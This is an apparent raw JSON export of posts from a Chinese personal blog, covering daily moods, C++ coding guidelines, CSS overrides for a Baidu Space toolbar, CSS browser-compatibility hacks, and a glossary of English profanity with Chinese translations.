0;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n","permalink":"https://hessian.cn/p/564.html","summary":"又或者说哪里没有主流? 当非主流成为主流\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n混乱啊\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;..现在乱七八糟的流行元素\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;头痛\u0026#8230;\u0026#8230;\u0026#8230;.世界变得真快\u0026#8230;\u0026#8230;\n","title":"哪里没有非主流?…."},{"content":"听说是会造成比较严重的一种病, it界有称作鼠标手\n很早以前就有感觉右手手腕有不适,疼痛的感觉, 只是以为用手过度,没什么感觉\u0026#8230;\n但最近好像越来越痛了\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n","permalink":"https://hessian.cn/p/555.html","summary":"听说是会造成比较严重的一种病, it界有称作鼠标手\n很早以前就有感觉右手手腕有不适,疼痛的感觉, 只是以为用手过度,没什么感觉\u0026#8230;\n但最近好像越来越痛了\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n","title":"好像得了腕管炎…."},{"content":"条款1：尽量用const和inline而不用#define 条款2：尽量用\u0026lt;iostream\u0026gt;而不用\u0026lt;stdio.h\u0026gt; 条款3：尽量用new和delete而不用malloc和free 条款4：尽量使用c++风格的注释 条款5：对应的new和delete要采用相同的形式 条款6：析构函数里对指针成员调用delete 条款7：预先准备好内存不够的情况 条款8: 写operator new和operator delete时要遵循常规 条款9: 避免隐藏标准形式的new 条款10: 如果写了operator new就要同时写operator delete 条款11: 为需要动态分配内存的类声明一个拷贝构造函数和一个赋值操作符 条款12: 尽量使用初始化而不要在构造函数里赋值 条款13: 初始化列表中成员列出的顺序和它们在类中声明的顺序相同 条款14: 确定基类有虚析构函数 条款15: 让operator=返回*this的引用 条款16: 在operator=中对所有数据成员赋值 条款17: 在operator=中检查给自己赋值的情况 条款18: 争取使类的接口完整并且最小 条款19: 分清成员函数，非成员函数和友元函数 条款20: 避免public接口出现数据成员 条款21: 尽可能使用const 条款22: 尽量用\u0026ldquo;传引用\u0026rdquo;而不用\u0026ldquo;传值\u0026rdquo; 条款23: 必须返回一个对象时不要试图返回一个引用 条款24: 在函数重载和设定参数缺省值间慎重选择 条款25: 避免对指针和数字类型重载 条款26: 当心潜在的二义性 条款27: 如果不想使用隐式生成的函数就要显式地禁止它 条款28: 划分全局名字空间 条款29: 避免返回内部数据的句柄 条款30: 避免这样的成员函数：其返回值是指向成员的非const指针或引用， 但成员的访问级比这个函数要低 条款31: 千万不要返回局部对象的引用，也不要返回函数内部用new初始化 的指针的引用 条款32: 尽可能地推迟变量的定义 条款33: 明智地使用内联 条款34: 将文件间的编译依赖性降至最低 条款35: 使公有继承体现 \u0026quot;是一个\u0026quot; 的含义 条款36: 区分接口继承和实现继承 条款37: 决不要重新定义继承而来的非虚函数 条款38: 决不要重新定义继承而来的缺省参数值 条款39: 避免 \u0026quot;向下转换\u0026quot; 继承层次 条款40: 通过分层来体现 \u0026quot;有一个\u0026quot; 或 \u0026quot;用\u0026#8230;来实现\u0026quot; 条款41: 区分继承和模板 条款42: 明智地使用私有继承 条款43: 明智地使用多继承 条款44: 说你想说的；理解你所说的 条款45: 弄清C++在幕后为你所写、所调用的函数 条款46: 宁可编译和链接时出错，也不要运行时出错 条款47: 确保非局部静态对象在使用前被初始化 条款48: 重视编译器警告 条款49: 熟悉标准库 条款50: 提高对C++的认识\n","permalink":"https://hessian.cn/p/307.html","summary":"条款1：尽量用const和inline而不用#define 条款2：尽量用\u0026lt;iostream\u0026gt;而不用\u0026lt;stdio.h\u0026gt; 条款3：尽量用new和delete而不用malloc和free 条款4：尽量使用c++风格的注释 条款5：对应的new和delete要采用相同的形式 条款6：析构函数里对指针成员调用delete 条款7：预先准备好内存不够的情况 条款8: 写operator new和operator delete时要遵循常规 条款9: 避免隐藏标准形式的new 条款10: 如果写了operator new就要同时写operator delete 条款11: 为需要动态分配内存的类声明一个拷贝构造函数和一个赋值操作符 条款12: 尽量使用初始化而不要在构造函数里赋值 条款13: 初始化列表中成员列出的顺序和它们在类中声明的顺序相同 条款14: 确定基类有虚析构函数 条款15: 让operator=返回*this的引用 条款16: 在operator=中对所有数据成员赋值 条款17: 在operator=中检查给自己赋值的情况 条款18: 争取使类的接口完整并且最小 条款19: 分清成员函数，非成员函数和友元函数 条款20: 避免public接口出现数据成员 条款21: 尽可能使用const 条款22: 尽量用\u0026ldquo;传引用\u0026rdquo;而不用\u0026ldquo;传值\u0026rdquo; 条款23: 必须返回一个对象时不要试图返回一个引用 条款24: 在函数重载和设定参数缺省值间慎重选择 条款25: 避免对指针和数字类型重载 条款26: 当心潜在的二义性 条款27: 如果不想使用隐式生成的函数就要显式地禁止它 条款28: 划分全局名字空间 条款29: 避免返回内部数据的句柄 条款30: 避免这样的成员函数：其返回值是指向成员的非const指针或引用， 但成员的访问级比这个函数要低 条款31: 千万不要返回局部对象的引用，也不要返回函数内部用new初始化 的指针的引用 条款32: 尽可能地推迟变量的定义 条款33: 明智地使用内联 条款34: 将文件间的编译依赖性降至最低 条款35: 使公有继承体现 \u0026quot;是一个\u0026quot; 的含义 条款36: 区分接口继承和实现继承 条款37: 决不要重新定义继承而来的非虚函数 条款38: 决不要重新定义继承而来的缺省参数值 条款39: 避免 \u0026quot;向下转换\u0026quot; 继承层次 条款40: 通过分层来体现 \u0026quot;有一个\u0026quot; 或 \u0026quot;用\u0026#8230;来实现\u0026quot; 条款41: 区分继承和模板 条款42: 明智地使用私有继承 条款43: 明智地使用多继承 条款44: 说你想说的；理解你所说的 条款45: 弄清C++在幕后为你所写、所调用的函数 条款46: 宁可编译和链接时出错，也不要运行时出错 条款47: 确保非局部静态对象在使用前被初始化 条款48: 重视编译器警告 条款49: 熟悉标准库 条款50: 提高对C++的认识\n","title":"C++ 编程注意事项"},{"content":"被百度这个 #usrbar 搞得有点郁闷了\u0026#8230;.\n谁给出个主意?\n从数据类型上看 貌似z-index最大也就65535了, 而space.css优先级又比自定义css要高\n(space.css载入晚)\n看这一段\nhtml body center #usrbar{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; z-index:65535!important; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; /* 最大高度 */\n\u0026nbsp;\u0026nbsp;\u0026nbsp; padding:4px 10px 3px 0!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; background:#FFFFFF!important;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; /* 白色背景 */\n\u0026nbsp;\u0026nbsp;\u0026nbsp; color:#000000!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; text-align:right!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; filter:alpha(opacity=65)!important;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; /* 65% 透明度 */\n\u0026nbsp;\u0026nbsp;\u0026nbsp; -moz-opacity:0.5!important;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; /* mozilla浏览器 50% 透明度 */\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; width:auto!important\n}\n貌似已经覆盖不了他了\u0026#8230;..\n不知道哪位高人能想点其他办法出来? 前提是能支持 firefox \u0026amp;\u0026amp; IE html body center,\nhtml body center #usrbar,\nhtml body center #ft,\nhtml body center #usrbar nobr,\nhtml body center #usrbar strong,\nhtml body center #usrbar a,\nhtml body center #usrbar a:link,\nhtml body center #usrbar a:visited,\nhtml body center #ft a,\nhtml body center #ft a:link,\nhtml body center #ft a:visited{\nmax-width:none!important;\nmin-width:none!important;\nlayout-flow:horizontal!important;\ntext-transform:none!important;\ndirection:inherit!important;\nvertical-align:baseline!important;\nword-spacing:normal!important;\nfont-variant:normal!impo\u0026nbsp;\u0026nbsp;\u0026nbsp; rtant;\ntext-decoration:none!important;\nfont-size-adjust:none!important;\nfont-family:Arial!important;\nfont-size:12px!important;\nline-height:normal!important;\nborder:none!important;\nbackground:none!important;\nbackground-image:none!important;\noverflow:visible!important;\nwidth:auto!important;\nclear:both!important;\nfloat:none!important;\nmargin:0!important;\nposition:static!important;\nvisibility:visible!important;\nletter-spacing:normal!important;\nfont-size:12px!important;\nfont-family:Arial!important;\nzoom:1!important;\nfilter:none!important;\n-moz-opacity:1!important\n}\nhtml body center #usrbar,\nhtml body center #ft,\nhtml body center #usrbar nobr{\ndisplay:block!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; height:19px!important;\nline-height:19px!important;\n}\nhtml body center #usrbar strong,\nhtml body center #usrbar a,\nhtml body center #usrbar a:link,\nhtml body center #usrbar a:visited,\nhtml body center #ft a,\nhtml body center #ft a:link,\nhtml body center #ft a:visited{\ndisplay:inline!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; height:auto!important;\ntext-decoration:underline!important;\n}\nhtml body center #usrbar strong{\ntext-align:left!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; color:#000000!important;\ntext-decoration:none!important;\n}\nhtml body center{\ndisplay:block!important;\n}\nhtml body center #main,\nhtml body center #usrbar,\nhtml body center #ft{\nposition:relative!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; top:auto!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; bottom:auto!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; left:auto!important;\nright:auto!important;\n}\nhtml body center #usrbar nobr{\ntext-align:right!important;\ncolor:#000000!important;\n}\nhtml body center #usrbar{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; z-index:65535!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; padding:4px 10px 3px 0!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; background:#FFFFFF!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; color:#000000!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; text-align:right!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; filter:alpha(opacity=65)!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; -moz-opacity:0.5!important;\nwidth:auto!important\n}\nhtml body center #usrbar a,\nhtml body center #usrbar a:link,\nhtml body center #usrbar a:visited{\ncolor:#0000CC!important;\n}\nhtml body center #ft{\nz-index:65534!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; color:#666666!important;\ntext-align:center!important;\n}\nhtml body center #ft a,\nhtml body center #ft a:link,\nhtml body center #ft a:visited{\ncolor:#7777CC!important;\n}\nhtml body center #main{\nz-index:10000!important;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; padding:0 10px 0 10px;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; min-width:756px;\nmax-width:1000px;\n}\n","permalink":"https://hessian.cn/p/339.html","summary":"被百度这个 #usrbar 搞得有点郁闷了\u0026#8230;.\n谁给出个主意?\n从数据类型上看 貌似z-index最大也就65535了, 而space.css优先级又比自定义css要高\n(space.css载入晚)\n","title":"!论如何覆盖#usrbar 附 百度 space.css 格式化代码"},{"content":"呼呼\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;..\n郁闷\u0026#8230;.郁闷\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n才改这么点\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;还没玩纳\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n更犀利\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;更多的使用黑色\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n其实关键的还没来临\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;..需要进一步对细节进行构造\n之前都没有在如 标题背景 等位置使用过图片\n这次将会彻底颠覆以往作风 所以要细细思量\u0026#8230;\n","permalink":"https://hessian.cn/p/572.html","summary":"呼呼\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;..\n郁闷\u0026#8230;.郁闷\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n","title":"第二步 换肤"},{"content":"把banner 给换掉了\n眼睛觉得做得还好了。。。。。。 那几个字就是不知道怎么弄\u0026#8230;.郁闷\n","permalink":"https://hessian.cn/p/515.html","summary":"把banner 给换掉了\n眼睛觉得做得还好了。。。。。。 那几个字就是不知道怎么弄\u0026#8230;.郁闷\n","title":"啦啦 第一步大改"},{"content":"嗯\u0026#8230;新主题\u0026#8230;\u0026#8230;\u0026#8230;.\n预告ing\u0026#8230;\u0026#8230;\u0026#8230;.\n好久没PS了\u0026#8230;\u0026#8230;\u0026#8230;.\nPsing\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.Psing\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n突然觉得这个名字不错\u0026nbsp;\u0026nbsp;\u0026nbsp; Fansarta\n有时间就把空间改版\u0026#8230;..会改成什么样呢?\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n嘿嘿\u0026#8230;.我也不知道\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n","permalink":"https://hessian.cn/p/349.html","summary":"嗯\u0026#8230;新主题\u0026#8230;\u0026#8230;\u0026#8230;.\n预告ing\u0026#8230;\u0026#8230;\u0026#8230;.\n好久没PS了\u0026#8230;\u0026#8230;\u0026#8230;.\n","title":"๑。._____Fansarta__凡萨塔___迷幻的现实..__"},{"content":"呼呼\u0026#8230;. 起早贪黑呀\u0026#8230;\u0026#8230;\n最近突然发现我像农民\u0026#8230;.觉在公司睡\u0026#8230;.\n3,4点睡正常\u0026#8230;\u0026#8230;起得早能到6点起\u0026#8230;.\n郁闷\u0026#8230;\u0026#8230;code code code 不只code\u0026#8230;\u0026#8230;\u0026#8230;\n我总算知道原来 programer 不只是要coding而已\u0026#8230;.\n还要写文档\u0026#8230;\u0026#8230;\u0026#8230;\n需求分析文档 \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n程序设计文档\u0026#8230;\n开发计划\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;..\n\u0026#8230;\u0026#8230;..\n\u0026#8230;.\n..\n.\n也不再想什么写什么了\u0026#8230;\u0026#8230;\u0026#8230;.一切都是计划好的\u0026#8230;\u0026#8230;\u0026#8230;..个人的灵感发挥在整个项目中想体现10%都很难呀\u0026#8230;还要看参与人数\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.郁闷\u0026#8230;郁闷\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n不过呀\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;社会呀\u0026#8230;.生活呀\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;唉\u0026#8230;就这样了\u0026#8230;\u0026#8230;\u0026#8230;..\n屈服吧\u0026#8230;\u0026#8230;\u0026#8230;可怜的孩子\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n","permalink":"https://hessian.cn/p/549.html","summary":"呼呼\u0026#8230;. 起早贪黑呀\u0026#8230;\u0026#8230;\n最近突然发现我像农民\u0026#8230;.觉在公司睡\u0026#8230;.\n3,4点睡正常\u0026#8230;\u0026#8230;起得早能到6点起\u0026#8230;.\n","title":"呼…….继续工作….."},{"content":"转自:http://xinple.org/?p=208\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在浏览器多了，做web页面还是比较痛苦的，当然，如果你不在乎自己做的页面在有些浏览器上面惨不忍睹那也是种不错的心态(至少少了点头痛的机会)，可是你老板或者上司或者你的用户同意吗？-__! \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 下面我就介绍我知道的hack方法吧。我现在比较常用的，并且感觉用的不动脑子的方法是：\n#yourId/.yourClass {/*normal*/} * html #yourId/.yourClass {/*IE6 and below*/} *+html #yourId/.yourClass {/*IE7 only*/} @media all and (min-width:0px){ #yourId/.yourClass { /*opera*/ } } 用法：直接写CSS，用firefox作为第一浏览器看效果，然后IE6下不一样，就用* HTML重写那个ID容器或者类；如果IE 7不一样，就用*+HTML重写，如果opera下面不一样，就用@media那个，当然这写重写的需要放在原来的后面。呵呵，就这么简单。这个方法用了之后可能会上瘾，可是会有诸如增加CSS文件容量等不爽，甚至有时候还会出现直接用这个写几段不同的。所以还是建议能熟悉了解个浏览器具体是在什么属性上支持不一样(例如border宽度IE6认为是不能算在width里面的，但是firefox是认为算width一起的)，先尽力写几个浏览器通用的CSS，不到必不得已不用这个hack方法。\n原理：firefox认为是CSS语法错误，所以忽略。但是不同IE版本识别不同，不忽略，所以能实现hack，并且*+HTML还能通过W3C验证，呵呵，爽吧。opera那个就不多说了，也是类似原理，但是看起来比较崩溃，要说明的是，firefox下没问题的话，opera基本也没什么问题的，所以不太会用到这个hack。\n还需要其他浏览器hack方法？抱歉，我就知道这么多，因为我电脑上只有这么几个浏览器，呵呵，公司要求或者我自己想要把握的用户群够了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\n另外就是!important这个方法了(firefox遇到这个优先级就最高，但是IE6不认，所以下面重新定义可以覆盖)，不过这个貌似是以前甚至现在都很多人在用的，但是我个人感觉不是很爽，不能像上面的那样明确的搞定某个浏览器。比如现在IE7对规范CSS支持已经比IE6好了不知道多少，但是还是会有和firefox有的差异，所以用important的方式，控制起来并不像上面的那么一目了然。\n","permalink":"https://hessian.cn/p/417.html","summary":"转自:http://xinple.org/?p=208\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在浏览器多了，做web页面还是比较痛苦的，当然，如果你不在乎自己做的页面在有些浏览器上面惨不忍睹那也是种不错的心态(至少少了点头痛的机会)，可是你老板或者上司或者你的用户同意吗？-__! \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 下面我就介绍我知道的hack方法吧。我现在比较常用的，并且感觉用的不动脑子的方法是：\n#yourId/.yourClass {/*normal*/} * html #yourId/.yourClass {/*IE6 and below*/} *+html #yourId/.yourClass {/*IE7 only*/} @media all and (min-width:0px){ #yourId/.yourClass { /*opera*/ } } 用法：直接写CSS，用firefox作为第一浏览器看效果，然后IE6下不一样，就用* HTML重写那个ID容器或者类；如果IE 7不一样，就用*+HTML重写，如果opera下面不一样，就用@media那个，当然这写重写的需要放在原来的后面。呵呵，就这么简单。这个方法用了之后可能会上瘾，可是会有诸如增加CSS文件容量等不爽，甚至有时候还会出现直接用这个写几段不同的。所以还是建议能熟悉了解个浏览器具体是在什么属性上支持不一样(例如border宽度IE6认为是不能算在width里面的，但是firefox是认为算width一起的)，先尽力写几个浏览器通用的CSS，不到必不得已不用这个hack方法。\n原理：firefox认为是CSS语法错误，所以忽略。但是不同IE版本识别不同，不忽略，所以能实现hack，并且*+HTML还能通过W3C验证，呵呵，爽吧。opera那个就不多说了，也是类似原理，但是看起来比较崩溃，要说明的是，firefox下没问题的话，opera基本也没什么问题的，所以不太会用到这个hack。\n还需要其他浏览器hack方法？抱歉，我就知道这么多，因为我电脑上只有这么几个浏览器，呵呵，公司要求或者我自己想要把握的用户群够了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\n另外就是!important这个方法了(firefox遇到这个优先级就最高，但是IE6不认，所以下面重新定义可以覆盖)，不过这个貌似是以前甚至现在都很多人在用的，但是我个人感觉不是很爽，不能像上面的那样明确的搞定某个浏览器。比如现在IE7对规范CSS支持已经比IE6好了不知道多少，但是还是会有和firefox有的差异，所以用important的方式，控制起来并不像上面的那么一目了然。\n","title":"[转] 各种浏览器CSS hack方法"},{"content":" 看美剧，或者工作的时候听人骂粗口，挺过瘾。就找到了关于fuck这个词的用法。呵呵。挺好的，这样看了之后再看美剧比较能体会角色的情感。\n\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\nFuck是所有脏话里最粗俗的，通常为黑社会，蓝领阶级所使用的字眼，连一般字典里都不敢介绍，在正式场合切忌使用。\nFucking\u0026ndash;可恶的，可鄙的（使整句话加重味道，语气）\n例如：\nGive me the fucking telephone! 快给我那个鬼电话\nAre you fucking nuts? 你他妈的是不是疯了？\nFucked\u0026ndash;有点搞砸，完蛋的意思！\n例如：\nA：The professor found out you cheated on the final. 教授发现你期末考试作弊。\nB：Oh, I\u0026rsquo;m fucked now! 糟了，我这一下可麻烦啦！\nFuck you\u0026ndash;去你的；他妈的\n例如：\nA：Do you want to lend me $100? 你要借我100元吗？\nB：Fuck you! 去你的！\nFuck off\u0026ndash;让开，去死吧；偷懒\n例如：\nA：May I buy you a drink? 我可以请你喝一杯吗？\nB：Fuck off! You jerk! 去死吧！你这王八蛋！\nArthur worked all day, while Dave fucked off. 亚瑟整天上班，大卫却在偷懒。\nFuck around\u0026ndash;胡搞，乱来，瞧不起，混吃等死过日子。\n例如：\nHe doesn\u0026rsquo;t fuch around. He gets the job done right away. 他很快把工作做完，决不乱来。\nHe\u0026rsquo;d kill you if he thought you were fucking him around. 如果他认为你在瞧不起他的话，他会把你给宰了。\nFuck up\u0026ndash;弄糟，弄坏，犯大错，失败，弄糊涂，反对，伤害\n例如：\nA：First they fucked up the soup, then they fucked up the main course and the dessert. 他们先后把汤，主菜和甜点都弄坏了。\nB：Bet you\u0026rsquo;ll never eat at that resturant again. 你大概不会再光顾那个餐馆了吧。\nWhat the fuck?\u0026ndash;搞什么鬼呀？什么跟什么啊？（通常对某事一脸迷惑的时候可以用这一句）\n例如：\nWhat the fuck are you talking about? 搞什么鬼啊？你到底在说什么？\nWhat the fuch are you doing? 你他妈的到底在搞什么鬼呀？\nWhat the fuck are you thinking about? 该死的，你到底在想什么呀？\nMother fucker\u0026ndash;王八，混账\n例如：\nYou mother fucker! 你这狗娘养的王八羔子。\nYou lazy mother fucker! 你这个懒人混账东西。\nMother fucking\u0026ndash;可憎的，令人讨厌的，特棒的，了不起的\n例如：\nA：This was motherfucking meal. 这顿饭真的很棒。\nB：I\u0026rsquo;m glad you liked it. Now let\u0026rsquo;s order dessert. 你喜欢就好，咱么现在叫甜点吧。\n","permalink":"https://hessian.cn/p/589.html","summary":" 看美剧，或者工作的时候听人骂粗口，挺过瘾。就找到了关于fuck这个词的用法。呵呵。挺好的，这样看了之后再看美剧比较能体会角色的情感。\n\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\nFuck是所有脏话里最粗俗的，通常为黑社会，蓝领阶级所使用的字眼，连一般字典里都不敢介绍，在正式场合切忌使用。\nFucking\u0026ndash;可恶的，可鄙的（使整句话加重味道，语气）\n例如：\nGive me the fucking telephone! 快给我那个鬼电话\nAre you fucking nuts? 你他妈的是不是疯了？\nFucked\u0026ndash;有点搞砸，完蛋的意思！\n例如：\nA：The professor found out you cheated on the final. 教授发现你期末考试作弊。\nB：Oh, I\u0026rsquo;m fucked now! 糟了，我这一下可麻烦啦！\nFuck you\u0026ndash;去你的；他妈的\n例如：\nA：Do you want to lend me $100? 你要借我100元吗？\nB：Fuck you! 去你的！\nFuck off\u0026ndash;让开，去死吧；偷懒\n例如：\nA：May I buy you a drink? 我可以请你喝一杯吗？\nB：Fuck off! You jerk! 去死吧！你这王八蛋！\nArthur worked all day, while Dave fucked off. 亚瑟整天上班，大卫却在偷懒。\nFuck around\u0026ndash;胡搞，乱来，瞧不起，混吃等死过日子。\n例如：\nHe doesn\u0026rsquo;t fuch around. He gets the job done right away. 他很快把工作做完，决不乱来。\nHe\u0026rsquo;d kill you if he thought you were fucking him around. 如果他认为你在瞧不起他的话，他会把你给宰了。\nFuck up\u0026ndash;弄糟，弄坏，犯大错，失败，弄糊涂，反对，伤害\n例如：\nA：First they fucked up the soup, then they fucked up the main course and the dessert. 